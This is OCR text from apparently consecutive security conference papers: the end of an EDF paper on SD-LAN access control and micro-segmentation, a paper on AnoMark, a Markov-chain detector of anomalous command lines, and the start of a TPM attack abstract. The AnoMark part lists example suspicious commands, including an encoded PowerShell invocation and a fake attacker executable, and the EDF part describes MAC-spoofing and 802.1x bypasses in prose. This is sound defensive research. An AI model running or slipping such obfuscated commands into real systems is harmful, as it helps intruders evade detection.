et en fonction de la sécurité physique. Cette politique peut définir des
zones de sécurité physiques, et le niveau de protection a atteindre pour y
héberger un équipement faiblement authentifié ou non authentifié, et que
cet équipement accéde a des roles potentiellement sensibles. Une attention
particuliere doit évidemment étre portée aux équipements de controle
d’acces physiques eux-mémes, qui font pleinement partie de la stratégie
défensive. Un exemple simplifié de politique d’acces est montré tableau 1.

Rendre tout dynamique Le déploiement du SD-LAN est 'opportunité
de se débarrasser de toutes les spécificités, en particulier les configurations
spécifiques sur tel ou tel port. Sources d’erreur elles-mémes présentant
des risques de cybersécurité, ces configurations spécifiques peuvent étre
réduites a zéro. On parle de commutateurs d’acces colorless, en référence
aux réseaux de différentes couleurs qui pouvaient cohabiter sur les mémes
équipements et devaient étre attribués port par port. La seule « couleur »
qui doit rester, et on ne peut pas faire sans elle, est la zone de sécurité
correspondant a 'emplacement ou le port est brassé. C’est le croisement
entre le zonage physique et le niveau d’authentification qui permet de
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Se connecter depuis. . .
Le WiFi ou une|Une zone contrdlée|Un local technique
zone non controlée sécurisé
- Invité Login/mot de passe invité N/A
% Interne Certificat protégé par TPM
; Imprimante N/A Certificat constructeur
f Multimédia N/A Profilage de I’équipe- N/A
< ment
\g Controle N/A N/A Profilage de I’équipe-
< d’acces ment

Tableau 1. Exemple de politique d’authentification
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- & & &

VLAN 12

Zone sécurisée

+ @MAC serveur Zone standard

-> role serveur + certificat téléphone
- réle TolP
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- réle badgeuse + certificat poste
- role poste
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a~

eadae @@@@@

I PRortsibiasséstenrzonerstandard;

Fig. 9. Schéma de principe d’une configuration dynamique des ports de commuta-
teur
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définir le niveau de confiance dans un équipement et donc s’il peut avoir
acces a un role donné. La figure 9 montre 1’évolution dans le mode de
paramétrage des ports d’un commutateur.

Avancer pas a pas La palette de fonctionnalités offerte par les services
AAA modernes peut donner de grandes ambitions & un architecte ayant
pour mission de renforcer la sécurité des réseaux. La complexité de 'ap-
proche rend cependant nécessaire de se « faire la main » sur des réles
suffisamment simples. Il reste toujours possible, au fil de 'eau, de faire
évoluer la configuration afin :

— d’effectuer une authentification en deux temps si le service le
supporte (par exemple, vérifier qu'une imprimante s’est authentifiée
sur le serveur d’impression) ;

— de définir des roéles secondaires en fonction de qui est connecté sur
le terminal et de ses droits dans I'annuaire d’entreprise ;

— de transmettre les roles & d’autres composants d’infrastructure (en
particulier les pare-feux);

— de mettre en place un mécanisme de mise en quarantaine automa-
tisée quand la surveillance sécurité détecte un incident ;

— etc.

. .
Appel API
Attributs RADIUS : AM o
réle PC standard ~ SOAR Détectiong
/© 4 offense ‘
RADIUS CoA : R4

réle quarantaine 'I

' @
4
4

4
'I
SO

E
/'Authentiﬁcation SIEH

Q Journaux

G /
’
___Activité.maiv,eillante———’ g

Serveur applicatif

Fig. 10. Schéma de principe de la mise en quarantaine d’un terminal suspect



276 Evolution de la sécurité des LAN

La figure 10 décrit 'exemple du fonctionnement d’un systéeme de
quarantaine, couplé au SIEM de I'entreprise, qui vient s’ajouter a I'existant.
L’outillage d’automatisation du SOC (SOAR pour Security Orchestration,
Automation € Response) vient utiliser les API exposées par le service
AAA pour modifier a la volée le réle d’'un terminal au fonctionnement
suspect. Celui-ci est alors déconnecté ou placé dans un VLAN dans lequel
il n’a accés qu’a des éléments tres limités permettant investigation et
remédiation.

Connaitre son systéeme d’information L’établissement de regles de
filtrage pertinentes et fonctionnelles pour ’ensemble des équipements
connectés au réseau local requiert une connaissance détaillée des activités
réseau de ces équipements. Méme dans un contexte de processus existants
de validation compléte et avec une documentation extensive, la qualité
de l'information disponible est tres inégale. Elle dépend de la rigueur
passée des responsables de projets achevés voila plusieurs années, et de
I’exhaustivité de la documentation des éditeurs. Force est de constater
que certains d’entre eux, y compris des leaders du marché, sont avares
d’informations techniques pertinentes.

En conséquence, nous avons dii développer des processus et des outils
spécifiques pour identifier les flux nécessaires a des équipements pour les-
quels la. documentation était insuffisante, avec deux approches successives.

L’approche manuelle consiste & positionner les équipements dont on
cherche a déterminer les flux dans un réseau routé par un pare-feu avec
un filtrage laxiste, et a récupérer les journaux du pare-feu. Un ensemble
de scripts Python permet de reconstituer les flux manuellement et de
vérifier que tous les paquets observés entrent dans la matrice de flux ainsi
reconstituée.

Nous déployons actuellement une approche entierement automatisée,
basée sur notre cluster ELK mutualisé, schématisée figure 11.

— Les données sur tous les flux qui circulent dans le SI sont collectées
par les équipements qui en sont capables (pare-feux, controleurs) a
travers des journaux syslog.

— Pour les anciens réseaux ne disposant pas de dispositifs de filtrage,
la tache s’est révélée plus ardue. Les routeurs en question, méme an-
ciens, disposant tous de capacités de journalisation des données par
protocole NetFlow ou SFlow, nous avons opté pour ces mécanismes.

— L’ensemble des données (syslog, SFlow, NetFlow) sont centralisées
sur un collecteur qui les traite en un format commun, et identique
quel que soit la source.
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— Ces données brutes, trés volumineuses, peuvent étre conservées
quelques jours pour exploration a ’aide du moteur Kibana.

— Les données sont retraitées pour étre consolidées dans une base qui
regroupe les flux par source, destination et protocole. Ces données,
plus légeres, peuvent étre conservées plus longtemps.

— Les données sont enrichies par des informations de contexte issues
des bases de données d’exploitation : nom des serveurs, applicatifs
concernés, instances, exploitants. ..

— Le moteur Matomo est utilisé pour construire des rapports auto-
matisés permettant, en entrant une adresse IP ou un sous-réseau,
d’obtenir la matrice des flux échangés avec ce réseau, regroupés
par protocoles et sources/destinations et enrichis des informations
de contexte.

3.2 Limites et vulnérabilités de I’approche

Interopérabilité Les solutions de SD-LAN sont, sans exception, proprié-
taires et non interopérables entre elles. Elles obligent a utiliser le méme
constructeur pour I’ensemble de I’écosystéme : commutateurs, WiFi, ser-
veur AAA, outillage d’automatisation. Cela induit un verrouillage éditeur
qui rend difficile la migration vers une autre solution.

De plus, I'interconnexion de I'underlay, qui en théorie peut se faire a
travers n’importe quel réseau de niveau 3 quelle que soit la technologie
sous-jacente, est en pratique limitée.

— 1l peut exister des contraintes de support si 'underlay transite a

travers une technologie différente.

— Les encapsulations ajoutent des octets a chaque paquet, diminuant
d’autant la MTU. Celle-ci est recommandée a 9000 par les édi-
teurs, et selon les configurations c’est une exigence absolue, par
exemple quand les routeurs Fdge ne supportent pas la fragmen-
tation. L’usage de liaisons xDSL ou radio, pour joindre des zones
reculées d’un site industriel, est donc complexifié.

Plus génant, ces solutions ne sont que peu interopérables avec le reste
du systeme d’information. En particulier, un réle n’est pas propagé d’un
site & un autre, ceci méme si on utilise une solution de SD-WAN du
méme éditeur pour les interconnecter. De méme, 'interopérabilité avec
les solutions de micro-segmentation existant en datacenter est inexistante.

Une exception notable & ce manque d’interopérabilité, qui permet de
pallier de nombreux défauts, est I'interconnexion des serveurs AAA avec
des pare-feux de plusieurs constructeurs, pour peu qu’ils soient capables
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Fig. 12. Intégration d’un systéme AAA avec des pare-feux pour du filtrage dyna-
mique

de gérer des groupes de filtrage dynamiques. Il est donc possible d’ouvrir
un flux depuis ou vers un réle, comme schématisé figure 12.

De maniére générale, les serveurs AAA disposent a la fois d’API REST
extensives et de la capacité de faire appel & des API REST tierces en
fonction d’événements. Cela permet d’interconnecter de nombreuses infra-
structures, au prix de développements parfois significatifs. Par exemple,
pour l'interconnexion SIEM/SOAR décrite plus tot, 'implémentation de
Iéditeur SOAR était basée sur une ancienne version de 'API du AAA, et
nous avons donc di en recoder une partie.

Ces API pouvant elles-mémes présenter des vulnérabilités, on veillera
dans tous les cas a les ouvrir avec parcimonie pour éviter les attaques
latérales.

Limitations fonctionnelles de la micro-segmentation L’administra-
teur habitué a mettre en place des politiques complexes entre les réseaux
au niveau de ses pare-feux peut étre dégu par les capacités des systemes de
micro-segmentation. Ceux-ci présentent de nombreuses limites techniques
et fonctionnelles, qui peuvent introduire des contraintes arbitraires et
limiter les gains de sécurité.
On pourra citer par exemple :
— limitation & 4 réseaux virtuels (VN) sur la solution Cisco, qui limite
en pratique un site a seulement 4 domaines de macro-segmentation
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entre lesquels il est possible de mettre en place du filtrage avancé
(comme décrit figure 7);

— limitation de la taille des politiques;

— absence de récursivité dans les définitions d’objets de filtrage (im-

possible d’inclure un objet dans un autre objet) ;

— limitation du nombre total d’objets téléchargés par un contrdleur

Aruba donné;

— limitation dans la longueur du nom des objets;

— manque de granularité dans le filtrage ICMP et ICMPv6 ;

— absence totale de détection protocolaire dans les solutions stateless ;

— mnon implémentation de certaines limites techniques du contréleur

dans le service AAA Aruba Clearpass, entrainant des erreurs diffi-
ciles a diagnostiquer.

Autre limitation liée au défaut d’interopérabilité, il n’est pas possible
de coordonner les politiques ou les objets de filtrage avec ceux d’autres
systeémes, y compris avec les solutions d’automatisation des pare-feux.

De plus, les systemes basés sur des ACL au niveau des commutateurs
sont stateless, et donc facilement contournés par un attaquant qui jouerait
avec les ports source de ses connexions. Eviter cette vulnérabilité impose
de se limiter a des matrices de flux de type « tout ou rien » entre deux
roles du méme sous-réseau.

Ces limites peuvent obliger a jongler entre plusieurs dispositifs de
sécurité, ouvrir les flux plus largement que nécessaire et donner des oppor-
tunités a un attaquant qui aurait obtenu acces au role concerné, ou encore
complexifier le travail des exploitants pour prendre en compte les limites.

Risques liés au NAC et au profilage Le profilage se base sur des sondes
diverses. Un certain nombre de sondes, purement passives et inspectant
le trafic (Netflow, DHCP, User-Agent), présentent relativement peu de
risques. En revanche, les sondes allant activement interroger I’équipement
peuvent donner, de la part d’un exploitant imprudent, des informations
a un attaquant. Les sondes allant interroger un équipement en WMI ou
SSH, en utilisant un compte d’administration authentifié par mot de passe,
représentent la quintessence de la fonctionnalité a ne jamais activer si on
ne souhaite pas subir une correction par le premier pirate en herbe venu.

De plus, comme nous I’avons vu, le profilage est trivialement exploitable
par un attaquant qui usurperait 'adresse MAC d’un équipement déja
reconnu, sans méme avoir besoin de simuler son comportement aupres
des sondes. Le profilage ne peut donc en aucun cas étre utilisé comme
équivalant a une authentification : si un équipement peut déroger a la
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politique d’authentification avec une « authentification » par profilage et
atteindre les mémes composants du systeme d’information qu’un terminal
utilisateur authentifié par certificat protégé par TPM, toute la politique
de micro-segmentation vole en éclats.

Enfin, méme pour les terminaux authentifiés en 802.1x, il existe des
attaques nécessitant des moyens assez modestes : un hub et un vol d’adresse
MAC. La suppression de cette vulnérabilité nécessite d’étendre la norme
802.1x avec le chiffrement 802.1ae MACSEC [10], dont le support est
relativement récent. La plupart des commutateurs sont incapables de
le gérer sur les ports d’acces, et seuls les OS clients récents peuvent se
connecter. Les OS rudimentaires embarqués sur tous les équipements
nécessitant le profilage sont, de fait, loin de pouvoir y migrer.

La gestion de multiples clés WPA2 PSK apporte donc un gain signifi-
catif de sécurité, du moins pour les équipements supportant le WiFi et ne
pouvant pas étre protégés physiquement. Cependant, elle nécessite, pour
étre pertinente, le renouvellement des clés; si possible régulierement, et
systématiquement en cas de vol ou perte d’une clé. Cela peut nécessiter
une intervention manuelle sur des systéemes ne disposant d’aucun outil
d’automatisation, ce qui est rapidement rédhibitoire.

4 Conclusion : vers un modeéle ZTNA

Comme dans de nombreuses autres entreprises, la DSIT (Direction des
Systemes Informatiques & Télécom) d’EDF est confrontée a des enjeux
métier qui nécessitent de revoir en profondeur la fagcon dont on accede
au systeme d’information : 'augmentation du trafic vers des hébergeurs
de cloud public, la nécessité d’ouvrir les applications & des partenaires,
de maniere granulaire selon les projets (on parle souvent d’« entreprise
étendue »), et en parallele des exigences réglementaires de plus en plus
fortes sur la sécurisation de processus métier critiques vis-a-vis des menaces
étatiques.

Le choix de long terme de I'entreprise pour répondre a ces enjeux
se porte vers un modele de sécurité de type Zero Trust formalisé par le
NIST [6, 13]. Les applications basées sur des protocoles exclusivement
web et pouvant déléguer leur contrble d’acces a une infrastructure de
sécurité s’y prétent nativement et pourront, a I’avenir, faire de plus en
plus abstraction du réseau situé entre le terminal utilisateur et le serveur
applicatif.

Cependant, EDF exploite des installations hydrauliques ayant déja plus
de 120 ans, et congoit de futures usines qui devront fonctionner pendant au
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moins 60 ans. Cette spécificité, partagée avec d’autres industries lourdes,
implique que ’écosystéme applicatif fonctionne avec des cycles de vie tres
longs. Nous devons remplir nos objectifs de sécurité avec des logiciels
parfois concus & une époque ou la sécurité était un mot inconnu, et nous
devrons également mieux protéger des équipements divers et plus ou moins
vulnérables qui utilisent nos infrastructures réseau et manient des données
sensibles.

Policy Engine
unique
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Administra tors'

)

Utilisateur entreprise}

Applications

Passerelle/VPN

Utilisateur partenaire -
S
Pare-feux N—

Données

Raccordement
partenaire
Policy/Enforcement/Points

Fig. 13. Schéma de principe d’une architecture ZTNA reprenant les composants
du SD-LAN

Pour ces raisons, nous visons a faire évoluer notre architecture réseau
vers un modele dit ZTNA pour Zero-Trust Network Access, schématisé
figure 13. Dans ce modele, les contrdles d’acces au réseau, quel que soit
le mode de connexion (local ou distant), seront effectués par la méme
infrastructure, en appliquant les mémes regles, fonction du niveau de
confiance dans le terminal et des droits de 'utilisateur. Ces regles seront
appliquées a la fois au niveau des passerelles d’acces au réseau (micro-
segmentation, passerelles VPN) et sur les pare-feux au plus pres des
applicatifs. Le réseau continuera ainsi a devenir un levier majeur pour
bloquer & la source les cyberattaques sur des applicatifs et objets connectés
par ailleurs potentiellement sujets a de nombreuses vulnérabilités.
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Glossaire

AAA Authentication, Authori- Service de controle d’acces au réseau implémentant

zation € Accounting les 3 composants : authentification, autorisation
et comptabilité des acces.

ACL Access Control List Commandes de filtrage stateless mises en place au
niveau d’un équipement réseau (commutateur ou
routeur).

EAP FEaxtensible  Authentica- Protocole d’authentification modulaire, utilisable

tion Protocol pour des authentification filaires (802.1x), WiFi
(802.11i) ou IPsec.

EVPN Ethernet VPN Protocole standard de controle de la localisation
des adresses MAC sur un sous-réseau étendu.

LISP Locator/ID  Separation Protocole standard (mais implémenté uniquement

Protocol par Cisco) de controle de la localisation d’équipe-
ments sur un sous-réseau étendu.

NAC Network Access Control Controle de 'acces au réseau filaire, sur la base du
protocole 802.1x.

NAD Network Access Device Equipement fournissant 'accés au réseau et client
du service RADIUS.

SDN Software Defined Net- Architecture réseau permettant d’abstraire la to-

work pologie logique du réseau de sa topologie physique,
et de déployer rapidement de nouveaux services.

SD-LAN Software Defined LAN Implémentation de SDN a usage de réseau local.
SD-WAN Software Defined WAN Implémentation de SDN & usage de réseau d’inter-

SGT

SIEM

SOAR

TPM

VLAN
VN

VRF

VXLAN

ZTNA

connexion.

Security Group Tag Ensemble d’extensions propriétaires Cisco permet-
tant de propager des informations de réle dans les
paquets IP encapsulés.

Security Information Ma- Outil de collecte et de corrélation des journaux de

nagement System sécurité.

Security Orchestration, Outillage d’automatisation de la réponse sécurité

Automation & Response du SOC.

Trusted Platform Module Module matériel de gestion de la cryptographie
n’intégrant pas de stockage dédié.

Virtual LAN Réseau virtuel de niveau 2.

Virtual Network Réseau virtuel (équivalent de VLAN) pour la solu-
tion de SD-LAN Cisco (SD-Access).

Virtual Routing € For- Mécansisme permettant d’avoir plusieurs piles IP

warding indépendantes sur un méme routeur, permettant
de faire cohabiter plusieurs réseaux IP indépen-
dants sur le méme équipement.

Virtual eXtensible LAN Protocole d’encapsulation pour monter un tunnel
multi-points de niveau 2 sur un réseau de niveau
3, permettant d’étendre un sous-réseau.

Zero-Trust Network Ac-Implémentation du paradigme Zero-Trust sur la

cess couche réseau, autorisant ou empéchant ’acces aux
équipements concernés en fonction du terminal et
des droits de 'utilisateur.
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Résumé. AnoMark est un algorithme de Machine Learning utilisant
des méthodes de NLP (ou TAL : Traitement Automatique des Langues)
pour analyser les lignes de commandes remontées & chaque création de
processus dans les journaux d’événements d’un systéme d’information. En
s’appuyant sur une décomposition en n-grams (sur les lettres composant
la ligne de commandes), AnoMark entraine un modéle statistique basé
sur une chaine de Markov. Ce dernier permet ensuite de calculer un score
de vraisemblance de nouvelles lignes de commande, et d’en extraire les
plus anormales vis-a-vis de 'activité passée.

1 Introduction

Vous retrouverez dans la version en ligne! le contexte de création,
I’état de ’art, ainsi que les références.

2 Modélisation

2.1 N-grams

Le terme n-grams désigne un principe de découpage de chalnes de
caracteres selon un certain nombre de n lettres ou n mots. Dans le cas de
I’étude des lignes de commande, nous choisissons de découper nos chaines
de caracteres en n-grams de lettres. En pratique considérons la ligne de
commande suivante :

1 ‘ cmd . exe arg

Un découpage en 6-grams donne la liste suivante :

" n

1 ‘ ["cmd.ex", "md.exe", "d.exe ", .exe a", "exe ar", "xe arg"]

! https://wuw.sstic.org/2022/presentation/anomark_detection_anomalies_
dans_des_lignes_de_commande_chaines_de_markov/


https://www.sstic.org/2022/presentation/anomark_detection_anomalies_dans_des_lignes_de_commande_chaines_de_markov/
https://www.sstic.org/2022/presentation/anomark_detection_anomalies_dans_des_lignes_de_commande_chaines_de_markov/
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Ce découpage nous permet de représenter une ligne de commande
comme une suite d’états entre lesquels on transitionne. Ces transitions
entre états ouvrent des lors la possibilité d’'une modélisation en chaine de
Markov.

2.2 Chaines de Markov

L’expression "chaine de Markov" fait référence a un concept mathéma-
tique permettant de modéliser les transitions entre états indépendamment
du passé. C’est un processus stochastique? dont la prédiction du futur a
partir du présent n’est pas rendu plus précise par le passé. Derriére ces
aphorismes mathématiques se cache une théorie plutét simple.

Par exemple, on peut considérer que les actions d’un chat pendant
sa journée se limitent & l’ensemble suivant : {manger, dormir, jouer}.
En observant ce dernier pendant plusieurs jours on peut déterminer les
probabilités de transition entre chaque état, et donc définir la chaine
de Markov associé a un comportement vraisemblable de chat. Ensuite,
on pourra déterminer la probabilité d’un futur état par rapport & 1’état
actuel du chat, ou bien déterminer a ’aide de la suite d’états d’un animal
quelconque s’il est probable ou pas que ce soit un chat.

Dans le cas de notre étude, le formalisme des chaines de Markov
est utilisée pour porter la notion de probabilité de transition entre un
morceau du découpage en n-grams et la lettre qui suit dans une ligne de
commande. On considere alors les morceaux du découpage en n-grams
comme des états, entre lesquels s’effectuent des transitions. Les probabilités
calculées pendant la phase d’apprentissage permettront pendant la phase
d’exploitation de distinguer les comportements vraisemblables des autres.

M — - R

Fig. 1. Exemple de chaine de Markov avec deux états A et B

2 Processus stochastique (dans ce cas) : Evolution discréte d’une variable aléatoire.
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2.3 Modéle mathématique

Prenons maintenant le temps de noter mathématiquement les calculs
que 'on cherche a faire.

Soit (CMD;), i € [1, N] 'ensemble des lignes de commande de notre
jeu de données (de taille N € N). Pour un ¢ donné, on peut représenter une
ligne de commandes comme une suite de sous-chaines de caracteres apres
découpages suivant la méthode des n-grams (n est la taille du découpage) :

CMD; = (€i1,€i25- -+ Cim(si))> (i) €N

Les éléments ¢; j (j € [1,m]) sont les morceaux apres découpage et sont
donc tous des chaines de caracteres de taille n.

Ensuite, on définit les probabilités de transition observées entre une
chaine c et z la lettre qui suit, comme la probabilité conditionnelle sui-
vante :

Po(z) = Card((c,z) € CMD;, i € [1, N])

¢ Card(c € CMD;, i € [1,N])
Cela correspond a la phase d’entrainement de 1’algorithme. Pour illustrer
avec un exemple concret, si on découpe nos commandes en 4-grams et
que l'on observe exe apres cmd. dans 95 lignes de commandes, sur un
total de 100 lignes de commandes ou cmd. apparait, alors la probabilité
de transition entre cmd. et la lettre e est simplement de 95%.

Une fois l’algorithme entrainé on peut déterminer la vraisemblance
d’une nouvelle ligne de commande CMD = (¢, c¢a,. .., ¢y,) normalisée
selon sa longueur (on note x; la lettre qui suit le découpage c;, et zp,
correspond & un marquage de fin de ligne de commande) :

m

m
L(CMD) = | [] P, (x;)

j=1
Et pour plus de simplicité, on considérera en réalité la log-vraisemblance :

¢(CMD) = log [£(CMD)]
1 & (1)
= % Z log []ch' (:Uj)}
j=1

Pour résumer ce développement, et réconcilier les allergiques aux équa-

tions mathématiques, on retrouve en Figure 2 un exemple d’application
du calcul de fagon schématique.
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cmd.exec cmd.exec cmd.exec cmd.exec
P1 P2 P3 P4
=0.02 =0.03 =0.015 =0.005

markovScore = log-likelihood ( ‘cmd.exec’)
=log(P1xP2xP3xP4)/4
=log (0.02 x 0.03x0.015x0.005)/4
=-4.23

Fig. 2. Exécution schématique de l'algorithme (4-grams)

On notera qu’un modele est alors spécifique a un parc informatique,
notamment pour la valeur de vraisemblance minimum et parce qu’il
sauvegarde une partie de l'information des lignes de commandes des
machines considérées (ce qui peut poser des probléemes de confidentialité).
Des lors, on ne définit pas de modéle omniscient capable de détecter des
anomalies dans n’importe quel systeme. Il sera nécessaire de faire des
modeles spécifiques & chaque cas d’application.

2.4 Production d’alertes

Une alerte de détection systeme fait suite & un comportement suspect
sur un parc supervisé, et est traité par des analystes qui doivent pouvoir
conclure sur la présence ou non d’un attaquant. Un des objectifs d’une
alerte est donc d’étre porteuse d’informations permettant la qualification.
Les analystes sont habitués a traiter des alertes provenant de regles
SIGMA, qui caractérisent de fagon précise le comportement suspect. Elles
permettent aussi de remonter aux journaux d’événements mis en cause (il
peut en exister seulement un), ce qui facilite I'investigation. Il s’agit donc
de coller le plus possible & ce schéma dans le cas d’une alerte provenant
de la détection d’une ligne de commande anormale.

Etant donné que le score de vraisemblance dépend du jeu de données
d’entrainement et du comportement du parc considéré, on ne peut pas fixer
de seuil absolu de génération d’alertes. De plus on ne veut pas inonder les
analystes bénéficiant de notre source d’alertes avec un trop grand nombre
de ces dernieres. C’est a dire qu’on ne veut pas remonter K alertes par
parc supervisé et par jour, car cela nuirait a la pertinence des alertes et
ne passerait pas a l’échelle, ne permettant plus aux analystes de prendre
le temps d’investiguer chaque alerte. Il a donc fallu imaginer un systéme
adaptatif, qui prend en compte les alertes passées et permet de créer un
seuil dynamique.
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Pour ce faire, AnoMark lance chaque jour ses calculs sur les lignes de
commandes de la veille, pour chaque parc supervisé. Il produit un top K
de lignes de commandes anormales apres les avoir triées en commencant
par les plus invraisemblables (on peut choisir K = 100 par exemple, ou le
faire dépendre du volume quotidien de journaux). Pour ne pas remonter
K alertes, il compare au top K des 30 derniers jours (ce nombre de jours
peut étre modifié), et chaque ligne du top du jour qui pourrait rentrer
dans ce top historique (i.e. dont le score de vraisemblance est inférieur a
celui de la K¢™¢ entrée du top historique) est une alerte.

Cette méthode permet de garder un seuil dynamique au cours du
temps et de la vie du parc informatique. Dans ’exemple de la Figure 3,
le seuil au jour J est a -5.4, c’est a dire qu’il faut un score inférieur pour
qu’une ligne de commande soit considérée comme une alerte.

alert

cmdB1 | -20 | Y\
cmdB2 | -15
daily (D-29) daily (D-28) daily (D-day) cmdAl | -12
cmdAl|-12| [omasi|-20 cmdC1[-10 cmdcl |-10
cmdA2 | -11 cmdB2 | -15 cmdC2 | -8
cmdA3 | -9,2 cmdB3 | -8.8 cmdC3 | -7.5 ToP
100
cmda27 | -5.4|_/
cmdB31 | -5.3
cmdA28 | -5.1
cmdA100 | -1 cmdB100 | -2 cmdC100 | -2.1

Fig. 3. Schéma de la production d’alertes pour K=100 et 30 jours d’historique

3 Application

3.1 Performances du modéle

Afin d’évaluer les performances de I'algorithme, nous avons entrainé
puis appliqué AnoMark sur des données d’événements création de processus
relatives & un incident. Nous nous sommes placés dans des conditions du
quasi-direct, comme si le modele avait été utilisé en détection continue
sur le parc.
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Le jeu complet comprenait 18 millions d’entrées, que nous avons
découpé en deux pour avoir un jeu de données d’entralnement et un jeu de
données de test. Ce découpage respecte 'ordre de déroulement temporel
des événements, pour reproduire le fonctionnement d’un quasi-direct. Dans
le top 50 (donc par rapport aux 9 millions de lignes du jeu de test) des
résultats on retrouve dans le cas d’un entralnement avec des 4-grams :

— 22 actions de 'attaquant ;

— 23 actions d’administrateur ;

— b5 actions du début de remédiation.

Il est & noter que la définition de vrais et faux positifs n’est pas
évidente. Pour une ligne de commande correspondant & un attaquant
on peut évidemment classer dans les vrais positifs, mais pour une ligne
correspondant a une action de remédiation ou d’administration les choses
sont plus complexes. En effet, certaines commandes d’administrateurs
sont proches d’un comportement potentiel d’attaquant (dans le sens ou
elles peuvent étre totalement nouvelles et s’exécuter avec des pouvoirs
élevés), et on veut donc les remonter. Suivant cette logique certaines de
ces commandes sont donc aussi de vrais positifs et doivent intervenir dans
le calcul des scores de précision de ’algorithme.

Nous avons aussi pu tester différentes tailles de n-grams, pour déter-
miner quelle valeur de n permettait d’avoir les meilleurs résultats. Nous
avons observé que la valeur optimale est dépendante de la forme des lignes
de commande observées sur le parc. Généralement des découpages en
4-grams ou H-grams offrent les résultats les plus pertinents. Il est aussi
tout a fait possible d’utiliser plusieurs modeles a la fois et de créer un
arbre de décision adhoc s’appuyant sur ces derniers.

3.2 Détails des formats de lignes de commandes remontées

Il ressort de 'utilisation d’AnoMark quelques tendances dans les alertes
remontées qui permettent de comprendre comment il détecte les anomalies.
Nous listerons ici quelques exemples, sans toutefois étre exhaustifs, car il
existe une infinité de possibilités d’alertes.

On peut rassembler dans un premier groupe les lignes de commande
qui sont présentes dans les alertes de 'algorithme mais qui pourraient étre
détectées de maniere plus simple :

— les lignes contenant de I'information en base 64 du type :

» powershell -enc Q29uY2VudHJ1LnRvaS5zdXIubWEucHJ1
c2VudGF0aWoulIQ==

— les ping vers des domaines inhabituels :

» ping heeeeeeeey.com
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— D’exécution de processus inconnus :

» iWillPawnYou.exe /user adminAccount
Il n’est pas étonnant, au vu de la modélisation construite, qu’ AnoMark
remonte ce type de commandes. Pour la base 64, ’algorithme voit un
enchainement quasi-aléatoire de caractéres donc ayant des probabilités
faibles. Pour les deux autres cas, il s’agit tout simplement de groupes de
mots jamais vus. Mais dans les trois cas, on aurait pu écrire des régles ou
des algorithmes plus simples.
Dans un second groupe on rassemble des lignes de commande détec-
tées comme anormales par ’algorithme, et qui auraient été par ailleurs
complexes a détecter :
— Tutilisation de flags inconnus :
» legit.exe -newflag newdata

— le changement de quelques lettres :
» CmD.eXe -someflag -someparam

— D’exécution de processus connus depuis des chemins inconnus :
» C:\newfolder\myproc.exe

Il apparait un peu mieux dans ces exemples-ci I'intérét de ’algorithme.
Il serait plus complexe de remonter ce type d’activité avec des regles.
On peut ainsi mieux appréhender 'intérét d’une telle modélisation pour
détecter des comportements nouveaux.

Enfin, 'algorithme a aussi pu remonter des mauvaises pratiques d’ad-
ministration comme ’écriture de mots de passe en clair dans des lignes de
commande dans lesquels ils n’auraient pas di figurer. Ce sont des alertes
qui permettent de prévenir des incidents suite a ces mauvaises pratiques,
et elles ne sont donc pas considérées comme des faux positifs.

3.3 Limites du modele

1l s’agit enfin d’estimer quels sont les limites de la modélisation, et les
possibles biais statistiques qui peuvent apparaitre lors des entrainements.

D’un point de vue détection, il faut déja noter qu’on ne peut pas
attendre de I’algorithme qu’il fonctionne sans étre accompagné d’un en-
semble de regles construites par des spécialistes. Pour prendre un exemple,
il est par construction impossible d’assurer qu’il remontera toutes les lignes
de commande utilisant de I’encodage en base 64 de maniere illégitime,
méme si on constate qu’il a tendance a remonter cet encodage. En effet, il
se peut que d’autres commandes soient considérées comme plus anormales
au moment de ’analyse, et qu’ainsi une détection triviale ne soit pas
faite. Dés lors, il faut garder une base de regles pour des comportements
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simples. AnoMark ne permet pas d’assurer une certitude de détection,
mais propose plutét une détection de comportements jusqu’ici inconnus.
De plus, on considére qu'un attaquant visible dans les journaux produira
plusieurs lignes de commande, et que c’est dans cet ensemble qu’on espére
trouver une anomalie remontée par le modéle.

Ensuite, d'un point de vue plus statistique il peut arriver que des
biais de sélection arrivent, a la suite d’une mauvaise construction de jeu
d’entrainement. Il faudra toujours veiller a choisir une fenétre temporelle
de données suffisamment grande pour que les journaux d’événements soient
représentatifs du comportement sur le parc supervisé. Or, cette taille de
fenétre n’est pas aisée a définir. Il semble qu'une période d’environ 1 mois
permette d’éviter de tomber sur 'absence d’un utilisateur (pour cause de
congés par exemple), mais cela reste a définir en fonction du périmetre de
supervision.

4 Conclusion

L’étude menée grace a AnoMark nous a permis d’entrevoir les pos-
sibilités de détection apportées par ’apprentissage statistique et plus
précisément la détection d’anomalies. Ce type d’algorithme ne remplace
ceci dit pas les constructions de signatures pour la détection de comporte-
ments connus. C’est un complément pour les analystes, afin de pouvoir
explorer d’autres pistes de recherche. D’ailleurs, ’algorithme ne cherche
pas a qualifier 'aspect dangereux de la ligne de commande, mais plutét a
mettre en évidence des changements de comportement qui doivent étre
investigués en autonomie par I'analyste.

Nous avons vu que cette détection peut se faire aussi bien de maniere
exploratoire pour de la détection de circonstance en mode Threat Hunting,
comme de maniére continue pour une détection de long terme avec une
production d’alertes. Ces deux aspects en font un outil profondément
opérationnel, ce qui est un atout fort. La conception s’est voulue deés le
départ la plus simple possible pour appuyer la portabilité de 'outil. C’est
aujourd’hui un atout dans I’analyse de grands volumes de données, pour
trouver rapidement des voies d’investigation.

Ce travail nous encourage a continuer de chercher des solutions d’algo-
rithmes de détection d’anomalies pour détecter des intrusions de facon
opérationnelle. Cela pourrait étre toujours sur des données textuelles, avec
d’autres techniques de NLP, ou sur des données de type différent mais
en continuant d’utiliser des chaines de Markov, peut-étre cachées pour
d’autres cas d’usage. ..
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Abstract. For quite some time, computers have been embedding a
security chip. This chip, named Trusted Platform Module (TPM), is used
to generate and protect secrets used by the computer. TPM and the
libraries using them are fully trusted when given a secret. In this paper, I
expose various new ways to perform software attacks. Either, noninvasive
to extract the TPM’s secrets or invasive to obtain privileged access to
the host system without retrieving the secret stored in TPM to decrypt
the host’s filesystem. All these technics are based on the emulation of the
OS environment and reproduce communication that should happen with
the TPM.

We conducted this research with a tool that we also release with the
community to facilitate future research and help the exploitation of these
different attacks.

1 Introduction

In my day job, I often work on IoT devices. In this context, I have
encountered some embedded computers. I demonstrate my attack ap-
plicability on a real case study that I encountered during one of my
audits.

This audit started on a device with the following properties:

— a password-protected BIOS;

— secure boot enabled;

— automatic Luks disk decryption using TPM.

When dealing with such a device, our first intuition is to think that
the system is theoretically safe. But, during the audit, I found a hardware
vulnerability impacting the BIOS. This vulnerability allowed me to obtain
a full access to the BIOS parameters, remove the BIOS password and
disable the secure boot.

In this paper, we consider we have this access. The remaining challenges
